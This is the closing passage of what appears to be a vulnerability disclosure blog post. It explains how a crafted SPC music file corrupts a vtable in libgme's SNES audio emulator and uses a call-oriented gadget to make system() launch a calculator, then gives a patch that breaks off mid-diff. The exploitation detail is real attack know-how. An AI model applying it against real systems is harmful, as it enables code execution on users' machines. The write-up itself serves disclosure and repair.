<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Store </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">system()</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> at </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">&Spu_Emu::vtable + 8</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">16: Frame tick again. Exploitation occurs. Calc appears.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">What just happened?</span></div>
<ul style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">After the frame tick, the play routine </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Spc_Emu::play_()</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> is called again. It is virtual, and the vtable entry is at offset 0x80 into the vtable.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">We corrupted the vtable to point to 0x100 in virtual RAM, so a virtual call is made to the pointer at 0x180 in virtual RAM. This is vtable - 2370739.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">At vtable - 2370739, in </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">libgme.so</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, is the following little x86_64 instruction sequence:</span></div>
</li>
</ul>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> 8bdd: 48 89 f8 mov %rdi,%rax</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> 8be0: 48 8b 7f 10 mov 0x10(%rdi),%rdi</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> 8be4: 48 8b 40 08 mov 0x8(%rax),%rax</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> 8be8: 89 da mov %ebx,%edx</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> 8bea: ff d0 callq *%rax</span></div>
<ul style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">This loads the pointer at object offset 0x10 into %rdi, which is where we put a pointer to offset 0xc0 into virtual RAM. That happens to be where the string “gnome-calculator” is in the input file.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Then this loads the pointer at object offset 0x8 into %rax, which is where we put </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">system()</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Then, it calls %rax, which calls </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">system()</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. The first argument in the x86_64 ABI is %rdi, which points to “gnome-calculator”. Ergo, let’s math!</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">This is a COP (call-oriented programming) payload, not ROP. In my opinion, ROP has issues. I recommend you prefer COP if you can. The reason I used any form of *OP is laziness. The path of least resistance to getting around Fedora’s RELRO was a quick little COP gadget. My usual trick of overwriting </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">__free_hook</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> looked to be messy.</span></div>
</li>
</ul>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Closing notes</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Nothing much to add.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Excessive jolliness of Christmas songs getting you down? Try </span><a href="https://www.youtube.com/watch?v=j9jbdgZidu8" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">Fairytale of New York, by The Pogues</span></a><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Appendix A: patch</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">No reason I shouldn’t propose a patch. Here it is. It fixes the two noted vulnerabilities and adds a bit of defensiveness to the opcodes that assisted exploitation. Ideally, the types of the local registers should be changed to </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">uint8_t</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> to provide a bunch more robustness. Perhaps the small performance difference mattered over a decade ago, when this code was written. Unlikely to still be the case.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">diff -rubB gme-old/Spc_Cpu.h gme/Spc_Cpu.h</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">--- gme-old/Spc_Cpu.h 2016-12-10 19:05:05.000000000 -0800</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">+++ gme/Spc_Cpu.h 2016-12-12 15:43:11.563377845 -0800</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">@@ -76,8 +76,8 @@</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> // TODO: remove non-wrapping versions?</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> #define SPC_NO_SP_WRAPAROUND 0</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">-#define SET_SP( v ) (sp = ram + 0x101 + (v))</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">-#define GET_SP() (sp - 0x101 - ram)</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">+#define SET_SP( v ) (sp = ram + 0x101 + ((uint8_t) v))</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">+#define GET_SP() (uint8_t) (sp - 0x101 - ram)</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> #if SPC_NO_SP_WRAPAROUND</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> #define PUSH16( v ) (sp -= 2, SET_LE16( sp, v ))</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">@@ -485,7 +485,7 @@</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> case 0xAF: // MOV (X)+,A</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> WRITE_DP( 0, x, a + no_read_before_write );</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">- x++;</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">+ x = (uint8_t) (x + 1);</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> goto loop;</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> // 5. 8-BIT LOGIC OPERATION COMMANDS</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">@@ -808,7 +808,7 @@</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> unsigned temp = y * a;</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> a = (uint8_t) temp;</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> nz = ((temp >> 1) | temp) & 0x7F;</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">- y = temp >> 8;</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">+ y = (uint8_t) (temp >> 8);</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> nz |= y;</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> goto loop;</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> }</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">@@ -838,6 +838,7 @@</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> nz = (uint8_t) a;</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> a = (uint8_t) a;</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">+ y = (uint8_t) y;</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> goto loop;</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> }</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">@@ -1004,7 +1005,7 @@</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: 